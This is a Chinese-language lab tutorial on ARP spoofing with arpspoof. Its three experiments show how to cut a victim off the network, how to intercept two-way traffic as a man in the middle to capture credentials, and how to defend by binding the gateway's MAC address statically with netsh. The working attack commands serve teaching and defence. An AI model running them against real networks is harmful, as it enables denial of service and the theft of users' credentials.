利用arpspoof 实现断网攻击和中间人（MITM）攻击

ARP中间人攻击是让目标主机的流量经过攻击主机的网卡再从网关出去，而网关也会把原本流入目标机的流量经过攻击者主机。实施中间人攻击时，攻击者首先毒化受害者和网关arp缓存，分别将受害者和网关的mac替换都为攻击者mac；尔后截获受害者发送和收接收的数据包，获取受害者账户、密码等相关敏感信息。

• 实验一：断网攻击

• 实验二：实施中间人攻击

• 实验三：ARP攻击防御

欺骗攻击过程如下。

└─$ arpspoof -i eth0 -t 192.168.31.5 192.168.31.2

攻击者网卡的MAC地址 受害者IP 受害者的网关

参数

-i 接口指定要使用的接口。

-t 指定ARP中毒对象

-r 毒害两个主机(主机和目标)以捕获两个方向的流量。

实验一：利用arpspoof欺骗实施断网攻击

1. 开启攻击机网卡的包转发开关

echo 1 > /proc/sys/net/ipv4/ip_forward 

/proc/sys/net/ipv4/ip_forward是配置文件，默认内容是0，表示IP转发关闭。

通过开启IP流量转发，这样攻击发生后，流量首先通过攻击者主机，再转发出去，流量不会中断，受害者不会断网。

1. 实施攻击

arpspoof  -i     eth0         -t   192.168.31.5      192.168.31.2
echo 0 > /proc/sys/net/ipv4/ip_forward 

可以通过arp -a 查看缓存表

实验二：利用Arpspoof实施中间人攻击

arpspoof  -i     eth0         -t   192.168.31.5    -r  192.168.31.2

可以发现，受害者主机的MAC地址替换为攻击者的主机MAC地址，网关的MAC地址也更换为攻击者的MAC地址，达到局域网内实施中间人（MITM）攻击的目的。此后，受害者发送的数据和接收的数据都将首先传递给攻击机。

实验三：ARP攻击防御

1. 查看网络接口信息：

netsh interface ipv4 show interface

可简写为：netsh i i show in

1. 将网卡绑定

如果在本地网卡上绑定网关192.168.31.2 ，mac地址为：00-d0-02-e5-9c-00，就可以执行

C:\Users\Administrator>netsh-c interface ipv4 add neighbors 11 192.168.31.2 00-d0-02-e5-9c-00

至此 arp -a ，以前的网关192.168.31.2 的mac地址已被静态绑定了。